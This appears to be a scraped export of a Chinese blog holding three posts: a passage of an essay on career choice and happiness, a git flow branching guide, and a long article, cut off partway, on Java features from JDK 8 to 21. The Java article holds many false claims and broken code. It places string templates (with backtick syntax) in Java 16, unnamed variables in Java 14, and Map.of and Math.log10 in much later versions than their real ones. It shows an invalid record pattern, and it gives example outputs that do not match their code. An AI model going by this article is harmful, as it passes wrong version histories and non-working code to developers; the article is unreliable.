即便从现在开始频繁尝试或体验不同的职业，对于普通人来说寻找到自己的“天职”可能也并非一件容易的事情。但在开始尝试之前，仍然有一个思维方式需要扭转，即——面向对象工作。近些年，无论是打开小红书，脉脉，还是各类职场类知识付费，你经常会看到**一些从未在任何专业领域取得成就的人力资源专业人士教你如何规划职场生涯。**这个现象非常奇怪，就是人力资源是一个非常偏向资方的职位，甚至也是大多数人在职场中最忌惮或不愿打交道的公司内部职能部门。甚至在一些特定的如裁员和行业收缩等场景下，他们是完全站在普通打工人对立面的人。他们能教你什么呢？他们所能教你的一切职场技能，无论是“求职应聘”“升职加薪”还是“裁员保命”，本质上都是将企业方对劳动者的诉求转化成可以对你的思维起作用的话语，让你自我规训罢了。一旦你决定了，你要打破那些令你不适的社会规训，那么他们所讲的大部分都是没有意义的。用互联网行业从业者，尤其是产品经理或者 IT 工程师等研发岗位的话语体系来说，这些 HR 专家们能告诉你的是“面向对象编程”，也就是将自己物化，舍弃作为人“无用”的部分，封包成一个极具性价比的模块，嵌入到大系统之中。而你在寻找或从事天职的时候要做得与之完全相反，正需要的是“面向过程编程”。毕竟不是所有的读者都对此有所了解，所以我们还是解释一下什么是面向过程，什么是面向对象：\n面向过程编程，像是开车，你第一步要转钥匙，第二步要挂挡，第三步要踩油门，于是车便行驶了起来。整个代码是先行的，后一步的代码依靠前一步代码的结果来执行。 面向对象编程，像是造车，你不可能说先造个轮子，再造发动机。而是从开始把车分为一堆部件，这家企业造轮子，那家企业造发动机，最后把上百个这样的生产零部件整合在一起，形成一辆车。 计算机行业早期受限于硬件和底层操作系统的设计，几乎全是面向过程编程。比如大家所熟知的打孔带编程，“一条程序”顺序执行，前一步压后一步，没法面向对象。而面向对象编程的出现与发展，在计算机这个领域，极大促进了软件的爆发。因为，当一个需求极为复杂的程序，可以被拆解为无数个简单的模块时，企业便可以组织更多的程序员背靠背地协作开发，也可以更好地定位和修复Bug，对不同模块进行独立优化，以实现整体效率的不断提升。企业管理也是同样的思路，介于现代企业的本质是通过分工协作实现单人无法实现的伟业，站在企业的角度，必然是以“面向对象”的方法挑选人才——我这辆车现在需要四个轮子，我就找四个轮子，这四个轮子只要在车底快快地转就行，不要管我这辆车会路过怎样的风景。因此，在过去的很长一段时间里，所有关于职场和人生规划的总是带有这种面向对象的思维。它们要你专注打造专业能力，只有这样你才能够成为一个可以随时离开 A 企业，加入B企业的独立职业人。然而，一个个体人类，即便是一个职场精英，也很难将自己当成一个纯粹的模块，在不同的企业之间丝滑地无缝切换。因为职业对现代人来说，生产的不只是劳动成果，还有劳动关系以及依附于其上的社会关系。至少现在，我们还不是在和一群机器人做同事，我们会有喜欢的同事，不喜欢的同事。我们会因为自己的工作获得额外的声誉奖励或批评，你的亲戚会因为你是大厂员工或流水线工人而对你产生不同的评价。我们会遇到不同类型的客户，其中一些可能在合作结束后会直接拉黑，而另一些则甚至可能从商务伙伴演变为朋友甚至成为终身伴侣。因而，尽管从企业，或者说从社会生产的角度，我们将所有人依照其职业技能分成了上千种职业。每一个企业在招同一个岗位时，也都参考相同的专业维度。但实际上，从事同一种职业的每个人，在同一个岗位中的表现和获得的劳动成果之外的反馈是完全不同的。在本文的第三章中反复强调，对个体而言应将人生幸福当作一个过程而不是结果来管理。那么，当我们去规划人生过程中占比最大的职业时，也应当将职业当成一个过程去管理。当你将职业当作过程而不是对象去管理的时候，你需要更加关注一份工作本身是否会给你带来快乐。当然，这当然包括那些之前我称之为“丰容福利”的部分，但你不应当将这些内容当作你的主要考虑因素。坐在高大上玻璃盒子办公室的人体工学椅上每天做枯燥无聊的工作，并不会比在地铁里刷抖音更快乐。除了工作过程本身必须快乐之外，这一过程产生的“社会关系”也必须让你感到舒适。因为人是一种社会性动物，如果一份工作本身虽然很快乐，但每个月让你交一个仇人，那么你也要考虑你是否能活着离开这个企业（开玩笑）。毕竟，在人才高速流动的当下，人际关系持续的时间往往比我们与公司的劳资关系长远得多，无论是朋友还是仇人。这并不是说你要为此去巴结你的上司，去和不喜欢的同事搞好关系，要油嘴滑舌地成为职场中的和事佬。恰恰相反，这是说在你决定是否继续从事一个工作时，要将所有这些因素，而不只是钱或其他物质回馈考虑在内。举两个极端的例子来说明：\n一个从小受到中国传统思维及文化熏陶，已形成较为保守儒家思想的人，是否要因为擅长、有能力且高薪，就去酒吧做脱衣舞者？ 反过来说，一个从小受西式教育，虽有一技之长，但并无家国梦想的人，是否要为了钱途而考公务员，加入他实际上厌恶至极的“体制”？ 抛开政治立场不谈，如果这两个人真的这么做了，那么都会过上地狱一般的生活。前者每日都会在自我道德谴责中无法自处，后者则要整日生活在欺瞒与露馅的恐惧之中。你需要抛弃以“对象”为核心的工作思维，以“过程”为核心的工作方式重新思考这些你可能曾经遇到过的这些问题你的这个项目是为了年末的年终奖更高吗？你这三个月的加班是为了能够获得晋升吗？你这整段工作是为了能在下一份工作时更好抬价吗？我下一份工作有了更多的钱，就能不加班了吗？换到第几份工作，有了多少钱才能不加班呢？加班本身快乐吗？你会发现，你的答案可能和上一次作出的选择完全不同了。\n6.4 我需要多少钱？ 在寻找天职的过程中，大部分人会遇到一个不可避免的问题：我去从事一份我想做而不一定擅长的工作，我是否能够接受收入的降低。如果你已经理解了我们在 5.1 中描述的“幸福是一个平衡性问题（积分）”，就会意识到这个问题本身是不成立的。因为如果你的幸福生活，根本不需要那么多钱，那么你通过牺牲更多的时间或精力去换取钱就是不值得的。然而正如我们在 3.3 中所说的，当下大部分的年轻人根本不知道什么样的生活是专属于自己的幸福。他们只有一个关于幸福终局的幻想，所以也就无从计算这个幸福幻想所需要付出的成本——毕竟，这个幸福幻想本身以“财务自由”（无限多钱）为前提。因此，找到自己人生幸福来源的方法之一是算账。大多数在过去 40 年高速发展期成长起来的中青年人是从没有过任何 Gap 经历的。这意味着，你根本就不知道你纯粹的生活（也就是所谓的躺平），究竟需要多少钱。在许多情况下，人们为工作本身付出的钱，往往比生活要多很多。 受限于公众号长度限制，余下全文需跳转进行阅读\n长按上图中二维码跳转继续阅读 跳转前记得关注作者公众号\n","date":"2024-03-22T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-03-22-xing-fu-de-ji-fen/cover.jpg","permalink":"/p/2024-03-22-xing-fu-de-ji-fen/","title":"幸福的积分"},{"content":"一 什么是 git flow 就像代码需要代码规范一样，代码管理同样需要一个清晰的流程和规范。Git 作为一个源码管理系统，不可避免涉及到多人协作。协作必须有一个规范的工作流程，让大家有效地合作，使得项目井井有条地发展下去。\u0026ldquo;工作流程\u0026quot;在英语里，叫做\u0026quot;workflow\u0026quot;或者\u0026quot;flow\u0026rdquo;，原意是水流，比喻项目像水流那样，顺畅、自然地向前流动，不会发生冲击、对撞、甚至漩涡。\nGitflow 工作流定义了一个围绕项目发布的严格分支模型。 下图能说明整个流程，该模式来自 Nvie\n解释上图\nmaster 默认分支，只能用来包括产品代码（线上生产环境代码），不许提交，只能合并。 develop 最新的开发状态 ，是你进行任何新的开发的基础分支。当你开始一个新的功能分支时，它将是_开发_的基础。另外，该分支也汇集所有已经完成的功能，并等待被整合到 master 分支中。develop 上的代码总是从 feature 上合并过来的。不许提交，只能合并。 master develop 这两个分支被称作为 长期分支。它们会存活在项目的整个生命周期中，而其他的分支，例如针对功能的分支，针对发行的分支，仅仅只是临时存在的 feature 开发新功能的分支，基于 develop, 完成后 merge 回 develop release: 准备要发布版本的分支，用来修复 bug. 基于 develop, 完成后 merge 回 develop 和 master hotfix: 修复 master 上的问题，等不及 release 版本就必须马上上线。基于 master, 完成后 merge 回 master 和 develop hotfix 分支是基于 “master” 分支。 这也是和 release 分支最明显的区别，release 分支都是基于 “develop” 分支的 二 为什么要使用 git flow 虽然大多数团队已由 svn 切换到 git，但代码控制方式仍然是“集中式”的，没有发挥 git 的强大功能。 在团队开发中使用版本控制系统时，商定一个统一的工作流程是至关重要的 ，git flow 有着清晰的流程和规范。 简单并可定义适合各自团队的 flow 三 如何使用 初始分支，所有在 Master 分支上的 Commit 应该 Tag，目前只有 master 角色可提交，其它角色提交不了，被保护了\nFeature 分支 Feature 分支做完后，必须合并回 Develop 分支，合并完分支后一般会删点这个 Feature 分支，但是我们也可以保留\nRelease 分支 Release 分支基于 Develop 分支创建，打完 Release 分之后，我们可以在这个 Release 分支上测试，修改 Bug 等。同时，其它开发人员可以基于开发新的 Feature （记住：一旦打了 Release 分支之后不要从 Develop 分支上合并新的改动到 Release 分支） 发布 Release 分支时，合并 Release 到 Master 和 Develop， 同时在 Master 分支上打个 Tag 记住 Release 版本号，然后可以删除 Release 分支了。\n维护分支 Hotfix hotfix 分支基于 Master 分支创建，开发完后需要合并回 Master 和 Develop 分支，同时在 Master 上打一个 tag\n四 命令规范 | | | |\n分支名称 规则 示例 说明 master master 默认不可变 develop develop 默认不可变 feature feature_* feature_order-detail * 为功能简述，如多个单词，中间用横线连接 release release_*.rc release_1.0.1.rc * 为版本号， 版本号规则如下所述 hotfix hotfix_* hotfix_1.0.1 * 为版本号， 版本号规则如下所述 tag （对应项目名，全部大写拼写）_ tag _ V * JARVISPMS_tag_V1.0.1 * 为版本号， 版本号规则如下所述 大版本号更新表示一次里程碑开发的完成，包含了若干个 feature 的实现。 小版本号更新表示一个 feature 的完成。 补丁号更新表示发布的 feature 不变，只是修改 bug 举例：\n某次发布是里程碑开发的结束，版本号为 1.0.0 很快，上次发布的版本发现了 bug，紧急修复，再次发布，版本号为 1.0.1 再次发现 bug，修复，重新发布，版本号为 1.0.2 几个星期后，新增了几个功能，再次发布，版本号为 1.1.0 几天后发现新增的功能有 bug，紧急修复，发布，版本号为 1.1.1 再次新增功能发布，版本号为 1.2.0 发现 bug，修复并发布，版本号为 1.2.1 再次完成一次里程碑开发，发布，版本号为 2.0.0 ……以此类推 五 code review 由于使用了 git flow ，可以将 code review 机制很好的结合起来，当我们合并代码的时候，是需要 MR（merge request）的，这时候需要向代码审核人提交你的合并请求。具体流程可参考 GitLab Flow 里的最后一部分。\n六 使用 git flow 开发流程简述 从 develop 打 feature 分支，确定 feature 分支负责人（今后这个分支分出去的其它分支都由他负责，他负责 MR 时的代码评审）。 在 feature 分支上开发，如其它同事的其它 feature 分支合并回了 develop, 会要求通过大家。如需要（一般是公共影响部分）在你自己的 feature 分支上合并 develop 上的代码。 开发完 feature 分支代码，提交合并请求，合并至 develop, 由代码评审人评审通过后合并。合并完成后，删除 feature 分支。 提测前，从 develop 中打出 release 分支给测试使用，如测试通过不需要修改，则合并回 master 和 develop 并删除；如有问题，可以在 release 分支上修改，修改完毕后，再合并回 master,develop, 并删除 release 分支。 上线前，在 maser 分支上打出 tag 线上有 bug，从 master 打出 hotfix 分支修复，完成后，合并回 master 和 develop , 删除 hotfix 分支。 ","date":"2024-03-22T08:52:42Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-03-22-git-flow/cover.jpg","permalink":"/p/2024-03-22-git-flow/","title":"git flow"},{"content":"引言 Java，这门自 1995 年诞生以来就广受欢迎的编程语言，以其跨平台的特性、强大的生态系统和稳定的性能表现，成为了软件开发领域的一个重要里程碑。随着时间的推移，Java 不断演进，以适应新的技术挑战和市场需求。自 JDK 8 发布以来，Java 平台经历了一系列重大的更新，每一次更新都为开发者带来了新的工具和能力，以构建更加高效、安全和现代化的应用程序。\nJava 的历史和发展 从最初的 Java 1.0 到现在的 JDK 21，Java 语言和其运行环境 JVM（Java 虚拟机）已经走过了一段漫长的道路。Java 1.0 引入了最基本的面向对象编程概念，而随后的版本则不断扩展其功能，包括引入了泛型、注解、枚举类型等。JDK 5 和 JDK 8 是两个特别重要的版本，它们分别引入了自动装箱/拆箱和 Lambda 表达式，极大地简化了 Java 代码的编写。\nJDK 8 至 21 的重要性 JDK 8 是一个转折点，它标志着 Java 进入了一个新的时代。这个版本引入了函数式编程的特性，使得 Java 开发者能够以更加声明式的方式编写并发和事件驱动的代码。随后的版本，如 JDK 11、JDK 14 和 JDK 16，都在不断地扩展和深化这些特性，同时引入了许多其他的改进，如模块系统、记录类和模式匹配等。JDK 21 继续这一趋势，带来了更多的语言和 API 改进，以及对 JVM 的优化。\n本文的目的和结构 本文旨在为 Java 开发者提供一个全面的概览，介绍自 JDK 8 至 JDK 21 期间引入的所有重要特性。我们将按照特性的类型和用途进行分类，包括新语言特性、新 APIs、性能改进、安全增强、启动和打包工具的更新、Javadoc 和字节码的变更，以及新支持的平台和版本方案。此外，我们还将讨论那些已被弃用或移除的特性，以及这些变化对 Java 生态系统的长期影响。\n通过本文，您将能够获得对 Java 最新特性的深入理解，无论您是 Java 新手还是经验丰富的开发者，都能从中获得宝贵的知识和见解。接下来，让我们开始探索 Java 自 JDK 8 以来的演变之旅。\n新语言特性详细解析 模式匹配（Pattern Matching） 模式匹配是 Java 语言中一项革命性的新特性，它首次作为预览特性在 JDK 12 中引入，并在 JDK 16 中正式成为 Java 语言的一部分。这一特性借鉴了函数式编程语言中的模式匹配概念，允许开发者以一种更加简洁和表达性强的方式来检查和处理不同类型的数据。\n模式匹配的引入背景\n在模式匹配出现之前，Java 开发者通常使用if-else语句或者instanceof检查来处理不同类型的对象，这不仅使得代码变得冗长，而且可读性也较差。模式匹配的引入，为 Java 提供了一种新的、更加直观的方式来处理这些情况，特别是在处理复杂的对象结构时，它能够显著提高代码的清晰度和维护性。\n模式匹配的具体用法\n模式匹配在 Java 中的实现主要通过instanceof和switch表达式来完成。下面是一个使用模式匹配的简单例子：\n1Object obj = getSomeObject(); 2 3if (obj instanceof String s) { 4 // 在这里可以直接使用变量 s，无需进行显式的类型转换 5 System.out.println(\u0026#34;String length is \u0026#34; + s.length()); 6} else if (obj instanceof Integer i) { 7 // 对于整型对象 i，可以直接进行数学运算 8 System.out.println(\u0026#34;Integer value is \u0026#34; + i * 2); 9} else { 10 System.out.println(\u0026#34;Unknown object type\u0026#34;); 11} 在上面的代码中，instanceof关键字后面紧跟着的是一个模式变量s或i，当obj的类型与模式匹配时，变量会被自动赋值，无需显式的类型转换。这种写法不仅简化了代码，还减少了出错的可能性。\n模式匹配的优势和实例分析\n模式匹配的优势在于它的简洁性和表达性。它允许开发者用更少的代码来表达更复杂的意思，并且使得代码的意图更加明确。此外，模式匹配还支持更复杂的结构，如嵌套的模式和守卫条件，这在处理复杂的数据结构时非常有用。\n让我们来看一个更复杂的例子，其中使用了守卫条件和嵌套模式：\n1List\u0026lt;? extends Number\u0026gt; numbers = getNumbers(); 2 3for (Number number : numbers) { 4 var absNumber = switch (number) { 5 case Integer i when i \u0026lt; 0 -\u0026gt; Math.abs(i); 6 case Integer i -\u0026gt; i; 7 case Double d -\u0026gt; Math.round(d); 8 default -\u0026gt; throw new IllegalArgumentException(\u0026#34;Unsupported number type\u0026#34;); 9 }; 10 System.out.println(absNumber); 11} 在这个例子中，我们使用了一个switch表达式来进行模式匹配。对于每种情况，我们都定义了一个模式，并在需要时使用守卫条件来进一步细化匹配的规则。这样，我们就能够根据不同的输入执行不同的操作，并且代码的结构依然保持清晰和简洁。\n总的来说，模式匹配为 Java 带来了一种新的、强大的数据处理方式，它不仅提高了代码的可读性和可维护性，而且还使得 Java 语言更加现代化，更接近于其他流行的函数式编程语言。随着 Java 语言的不断发展，我们可以期待模式匹配在未来的 Java 版本中将发挥更加重要的作用。\n未命名变量和未命名模式 在 Java 14 中，作为预览特性引入的未命名变量（也称为“var”类型）和未命名模式（也称为“模式变量”），为 Java 编程带来了新的表达性和灵活性。这些特性旨在简化代码，特别是在处理复杂的数据结构和流操作时，它们允许开发者忽略不需要的值，并提供了一种新的数据解构方式。\n未命名变量的概念\n未命名变量是 Java 中一种新的局部变量声明方式，它允许开发者声明一个变量而不需要预先指定其类型。这种变量的类型将由编译器根据赋值表达式自动推断。未命名变量通常与-\u0026gt;操作符一起使用，后者在switch表达式中用于提供更复杂的逻辑分支。\n未命名变量的使用场景\n未命名变量特别适用于以下场景：\n当你只关心一个表达式的结果，而不打算在后续代码中使用变量时。 当你需要从方法返回值中提取信息，但又不想显式声明所有组成部分时。 在流操作中，当你需要处理流中的元素，但不需要存储任何中间变量时。 未命名模式的概念\n未命名模式是模式匹配的一个扩展，它允许开发者在instanceof、case标签或catch块中声明一个模式变量，而不是一个具名变量。这在使用模式匹配解构复杂类型时非常有用，尤其是当你只需要访问类型的一部分数据时。\n未命名模式的使用场景\n未命名模式特别适用于以下场景：\n当你使用模式匹配来检查对象的类型，但不需要访问对象的具体实例时。 在解构复杂对象时，当你只需要对象的某些部分，而不是整个对象时。 代码示例和实际应用\n下面是一个使用未命名变量和未命名模式的示例：\n1// 使用未命名变量处理 Optional 2Optional\u0026lt;String\u0026gt; optStr = Optional.of(\u0026#34;Hello\u0026#34;); 3var str = optStr.orElse(\u0026#34;Default\u0026#34;); 4System.out.println(str); // 输出 \u0026#34;Hello\u0026#34; 5 6// 使用未命名变量在 try-catch 中忽略不需要的异常 7try { 8 // 可能会抛出 CheckedException 的代码 9} catch (Exception _) { 10 // 忽略异常，不进行处理 11} 12 13// 使用未命名模式在 switch 表达式中解构对象 14record Point(int x, int y) {} 15 16Point point = new Point(1, 2); 17switch (point) { 18 case Point(x) -\u0026gt; { 19 // 只关心 x 的值，y 的值被忽略 20 System.out.println(\u0026#34;X coordinate is \u0026#34; + x); 21 } 22} 在上述代码中，我们看到了未命名变量和未命名模式如何在不同场景下简化代码。未命名变量使得我们可以避免声明不必要的变量，而未命名模式则让我们能够更加灵活地处理复杂的数据结构。\n总的来说，未命名变量和未命名模式是 Java 语言中两项非常有用的新特性，它们通过减少代码冗余和提高表达性，使得 Java 代码更加简洁和易于理解。随着这些特性在未来的 Java 版本中逐渐成熟和稳定，我们可以预见它们将在 Java 编程实践中发挥越来越重要的作用。\n封闭类和记录类 随着 Java 语言不断发展，为了更好地支持函数式编程和数据建模，JDK 16 引入了两种新的类类型：封闭类（Sealed Classes）和记录类（Record Classes）。这些新特性旨在提供更丰富的类型安全保障和更简洁的代码表达，特别是在创建数据传输对象（DTOs）和限制继承结构时。\n封闭类\n封闭类是一种特殊的类，它限制了哪些其他类可以继承它。这一特性对于那些希望限制子类数量或者想要精确控制继承树的开发者来说非常有用。在 Java 中，封闭类通过sealed关键字进行声明，并且可以指定一个允许的子类列表。\n封闭类的概念\n封闭类的概念是为了在 Java 中引入更多的类型安全性和清晰性。它们允许开发者定义一个基类，同时限制哪些类可以扩展这个基类。这样做的好处是可以防止其他开发者创建不必要的或者不安全的子类，从而保护 API 的稳定性和可预测性。\n封闭类的使用场景\n封闭类适用于以下场景：\n当你想要创建一个基类，但只想允许特定的子类时。 当你想要限制类的继承结构，以避免类的滥用或错误扩展时。 封闭类示例\n1public abstract sealed class Shape permits Circle, Rectangle, Triangle { 2 // 封闭类的基类代码 3} 4 5final class Circle extends Shape { 6 // 圆形的具体实现 7} 8 9final class Rectangle extends Shape { 10 // 矩形的具体实现 11} 12 13// 以下代码将无法编译，因为 Square 没有在 Shape 的 permits 子句中声明 14// final class Square extends Shape { 15// // 正方形的具体实现 16// } 在这个例子中，Shape是一个封闭类，它明确指定了哪些类可以作为其子类。这确保了Shape的继承结构是受控的，并且防止了任何未授权的扩展。\n记录类\n记录类是一种特殊的类，它主要用于创建不可变的数据传输对象（DTOs）。记录类的语法比传统的类更加简洁，它自动为所有字段生成构造函数、equals、hashCode和toString方法。\n记录类的概念\n记录类的概念是为了简化 Java 中不可变数据结构的创建。它们提供了一种快速定义类的方式，而无需编写大量的样板代码。记录类是不可变的，这意味着一旦创建，其状态就不能改变，这有助于避免并发问题和不必要的错误。\n记录类的使用场景\n记录类适用于以下场景：\n当你需要创建一个简单的数据结构，用于存储一组固定的值时。 当你希望确保数据的不可变性，以提高代码的安全性和可维护性时。 记录类示例\n1record Point(int x, int y) {} 2 3public class Example { 4 public static void main(String[] args) { 5 Point point = new Point(10, 20); 6 System.out.println(point); // 输出 \u0026#34;Point[x=10, y=20]\u0026#34; 7 } 8} 在这个例子中，我们定义了一个名为Point的记录类，它有两个字段：x和y。创建记录类时，Java 自动为我们生成了构造函数和toString方法，使得代码非常简洁。此外，由于记录类是不可变的，我们可以安全地在多线程环境中共享Point实例，而不必担心它们的内部状态会被改变。\n总的来说，封闭类和记录类为 Java 开发者提供了更多的选择，以适应不同的编程场景。封闭类通过限制继承结构来增强类型安全性，而记录类则通过简化数据结构的创建来提高开发效率。这些新特性的引入，进一步丰富了 Java 语言的功能，使其更加现代化和高效。随着这些特性在未来的 Java 版本中得到进一步的发展和完善，我们有理由相信它们将成为 Java 编程中不可或缺的一部分。\n其他重要语言特性 除了前面提到的模式匹配、未命名变量和未命名模式等特性，Java 在 JDK 8 至 21 的版本中还引入了许多其他重要的语言特性。这些特性涵盖了从代码简化到性能优化的各个方面，极大地提升了 Java 编程的便捷性和表达能力。接下来，我们将详细探讨其中的一些关键特性。\nString 模板\nJava 16 引入了字符串模板（String Templates），这是一种新的字符串字面量，它允许开发者以一种更加简洁和安全的方式来创建格式化的字符串。字符串模板通过str前缀定义，并支持多行字符串和插值表达式。\n字符串模板的用法\n字符串模板提供了一种新的字符串创建方式，它结合了字符串字面量的简洁性和String.format方法的格式化能力。开发者可以在模板中直接插入变量和表达式，而不需要额外的格式化步骤。\n1String name = \u0026#34;World\u0026#34;; 2int value = 42; 3 4// 使用字符串模板创建格式化的字符串 5String message = `Hello, ${name}! The value is ${value * 2}.`; 6System.out.println(message); // 输出 \u0026#34;Hello, World! The value is 84.\u0026#34; 在这个例子中，我们使用${}来插入变量和表达式的值，这使得字符串的创建和格式化过程变得更加直观和方便。\n字符串模板的优势\n字符串模板的主要优势在于它的简洁性和易读性。它减少了字符串拼接和格式化的复杂性，使得代码更加清晰和易于维护。此外，由于字符串模板是编译时常量，它们在某些情况下还能提供更好的性能。\n文本块\n文本块（Text Blocks）是 Java 13 中引入的预览特性，它允许开发者以多行字符串的形式编写代码，而无需使用传统的转义序列。文本块通过三个双引号（\u0026quot;\u0026quot;\u0026quot;）定义，并且保持了字符串字面量的原始格式。\n文本块的用法\n文本块特别适用于创建多行的字符串，例如在编写正则表达式、HTML 模板或 SQL 查询时。\n1String html = \u0026#34;\u0026#34;\u0026#34; 2 \u0026lt;html\u0026gt; 3 \u0026lt;body\u0026gt; 4 \u0026lt;h1\u0026gt;Title\u0026lt;/h1\u0026gt; 5 \u0026lt;p\u0026gt;Paragraph with line breaks 6 and multiple lines.\u0026lt;/p\u0026gt; 7 \u0026lt;/body\u0026gt; 8 \u0026lt;/html\u0026gt; 9 \u0026#34;\u0026#34;\u0026#34;; 10System.out.println(html); 在这个例子中，我们定义了一个包含 HTML 内容的文本块，所有的换行符和空格都被保留，而不需要使用传统的\\n转义序列。\n文本块的优势\n文本块的主要优势在于它们的易读性和编写效率。它们使得多行字符串的创建变得非常简单，同时避免了转义序列带来的混乱和错误。此外，文本块还支持跨多行的字符串连接，进一步提高了代码的灵活性。\nHelpful NullPointerExceptions\nJava 14 中引入了更加有用的NullPointerException，它提供了关于哪个变量为null的详细信息。这一特性通过-XX:+ShowCodeDetailsInExceptionMessages JVM 选项启用，它使得空指针异常更加易于调试。\nHelpful NullPointerExceptions 的用法\n当程序抛出NullPointerException时，JVM 会提供更多的堆栈跟踪信息，包括导致异常的变量名和代码位置。\n1String message = null; 2int length = message.length(); // 这里会抛出 NullPointerException 在这个例子中，如果启用了详细异常信息，我们将会得到类似于以下的输出：\n1Exception in thread \u0026#34;main\u0026#34; java.lang.NullPointerException: 2 Cannot read field \u0026#34;length\u0026#34; because \u0026#34;message\u0026#34; is null 3 at com.example.Main.main(Main.java:10) Helpful NullPointerExceptions 的优势\n这一特性的主要优势在于它提供了更多的调试信息，使得开发者能够快速定位和修复空指针异常。这种增强的异常信息极大地提高了 Java 程序的可维护性和稳定性。\nSwitch 表达式\nSwitch 表达式是 Java 12 中引入的预览特性，它为switch语句提供了一种更加简洁和灵活的替代方案。Switch 表达式使用yield关键字返回值，并且可以与模式匹配结合使用。\nSwitch 表达式的用法\nSwitch 表达式可以替代传统的switch语句，特别是在处理枚举类型和表达式时。\n1Day day = Day.MONDAY; 2int numLetters = switch (day) { 3 case MONDAY, FRIDAY, SUNDAY -\u0026gt; 6; 4 case TUESDAY -\u0026gt; 7; 5 default -\u0026gt; { 6 String s = day.toString(); 7 int result = s.length(); 8 yield result; 9 } 10}; 11System.out.println(numLetters); // 输出 \u0026#34;5\u0026#34; 在这个例子中，我们使用了一个switch表达式来根据day的值计算字母的数量。与传统的switch语句相比，Switch 表达式提供了一种更加简洁和函数式的方法来处理条件逻辑。\nSwitch 表达式的优势\nSwitch 表达式的主要优势在于它的简洁性和表达性。它减少了模板代码的数量，并且使得条件逻辑的编写更加直观和易于理解。此外，Switch 表达式还支持与模式匹配的结合使用，进一步提高了代码的灵活性和可读性。\n总结\nJava 语言在 JDK 8 至 21 的版本中引入了许多重要的新特性，这些特性不仅提高了代码的编写效率，还增强了程序的性能和安全性。从字符串模板和文本块的引入，到 Helpful NullPointerExceptions 和 Switch 表达式的改进，Java 不断地在进化，以满足现代软件开发的需求。随着这些特性在未来的 Java 版本中得到进一步的发展和完善，我们有理由相信它们将成为 Java 编程中不可或缺的一部分。\n新 APIs 的探索 Java 平台的不断更新带来了丰富的新 APIs，这些 APIs 旨在提高开发者的生产力，简化复杂任务的处理，并增强 Java 在各个领域的应用能力。从集合操作的增强到数学函数的扩展，新 APIs 为 Java 开发者提供了更多的工具来构建高效、健壮的应用程序。\n集合和数学函数 API 集合 API 是 Java 中使用最广泛的 API 之一，它提供了一系列的数据结构和算法来存储和操作对象集合。数学函数 API 则为数值计算提供了支持，包括随机数生成、复数操作等。在 JDK 8 至 21 的更新中，这两个领域的 API 得到了显著的扩展和改进。\n新增集合 API 的特性和用法\n在 JDK 8 中引入的 Stream API 彻底改变了 Java 中集合的处理方式，而在后续的版本中，这一 API 继续得到了增强。例如，JDK 16 引入了toList()方法，它简化了从 Stream 到 List 的转换过程，使得开发者可以更方便地进行数据收集。\n1List\u0026lt;String\u0026gt; list = Stream.of(\u0026#34;apple\u0026#34;, \u0026#34;banana\u0026#34;, \u0026#34;cherry\u0026#34;) 2 .collect(Collectors.toList()); 此外，JDK 16 还引入了Map.of和Set.of等静态工厂方法，它们用于创建不可变的 Map 和 Set 实例，这不仅提高了代码的可读性，还减少了创建空集合时的内存消耗。\n数学函数 API 的增强\nJava 8 引入了java.util.function包，其中包括了一系列的函数式接口，为 Java 带来了函数式编程的特性。在此基础上，后续的 Java 版本继续增强数学函数 API。例如，JDK 11 中引入了Math.log10方法，用于计算一个数的以 10 为底的对数。\n1double result = Math.log10(100); // 结果为 2.0 JDK 16 进一步扩展了数学函数库，包括对BigDecimal的改进，使得大数运算更加精确和高效。此外，JDK 16 还引入了Random和ThreadLocalRandom的新的 APIs，提供了更多的随机数生成选项。\n实际应用\n新的集合和数学函数 API 在实际应用中极大地提高了开发效率。例如，在处理大量数据时，Stream API 的链式操作和新的集合工厂方法使得代码更加简洁和易于理解。在科学计算和金融分析领域，增强的数学函数 API 提供了更精确的数值计算能力，帮助开发者实现了更复杂的数学模型。\n结论\n集合和数学函数 API 的持续更新和改进，反映了 Java 平台对开发者需求的响应和对现代编程挑战的适应。这些新 APIs 不仅提高了 Java 语言的表达能力，还为解决复杂问题提供了更多的工具和选项。随着 Java 平台的不断发展，我们可以期待未来会有更多的创新和改进，进一步丰富 Java 生态系统。\n其他重要 API 更新 随着 Java 平台的不断演进，除了集合和数学函数 API 之外，还有许多其他的 API 得到了更新和增强，以满足现代应用程序的需求。这些更新涵盖了文件和 IO 操作、网络编程、时间日期处理等多个方面，为 Java 开发者提供了更加强大和灵活的工具集。\n文件和 IO 操作的改进\nJava 的文件和 IO 操作 API 在 JDK 8 至 21 期间经历了显著的改进。例如，JDK 11 引入了Files.walk方法，它提供了一种更加简洁的方式来遍历文件树。此外，JDK 14 增加了Files.mismatch方法，用于比较两个文件的内容差异，这对于文件校验和数据恢复等场景非常有用。\n1Path startPath = Paths.get(\u0026#34;/path/to/start/directory\u0026#34;); 2try (Stream\u0026lt;Path\u0026gt; stream = Files.walk(startPath)) { 3 stream.filter(Files::isRegularFile) 4 .forEach(path -\u0026gt; System.out.println(path)); 5} 网络编程的新特性\n在网络编程方面，JDK 9 引入了java.net.http.HttpClient，这是一个全新的、非阻塞的 HTTP 客户端 API，它提供了更加简洁和强大的 HTTP 请求处理能力。这个新的 HTTP 客户端支持 HTTP/2 协议，并且提供了 WebSocket 支持，使得 Java 在处理现代网络应用时更加高效。\n1HttpClient client = HttpClient.newBuilder() 2 .version(HttpClient.Version.HTTP_2) 3 .build(); 4 5HttpRequest request = HttpRequest.newBuilder() 6 .uri(URI.create(\u0026#34;https://example.com\u0026#34;)) 7 .GET() 8 .build(); 9 10client.sendAsync(request, HttpResponse.BodyHandlers.ofString()) 11 .thenApply(HttpResponse::body) 12 .thenAccept(System.out::println) 13 .join(); 时间和日期 API 的更新\nJava 8 引入了java.time包，这个包提供了一套全新的日期和时间 API，它解决了旧版java.util.Date类中存在的问题，并提供了更好的时间日期处理能力。在后续的版本中，这个 API 继续得到了增强。例如，JDK 12 增加了LocalDate的ofEpochDay方法，它允许开发者直接从天数创建日期对象，而不需要通过ChronoLocalDate。\n1LocalDate date = LocalDate.ofEpochDay(10000); // 创建一个特定的日期 结论\n这些 API 的更新和增强不仅提高了 Java 语言的功能，还使得 Java 在处理文件操作、网络通信和时间日期处理等任务时更加高效和便捷。随着 Java 平台的不断发展，我们可以期待未来会有更多的创新和改进，进一步丰富 Java 生态系统，帮助开发者构建更加健壮和高效的应用程序。\n性能改进的深入分析 Java 平台的性能改进一直是开发者社区关注的焦点。从 JDK 8 至 21，Oracle 和 OpenJDK 社区持续致力于优化 Java 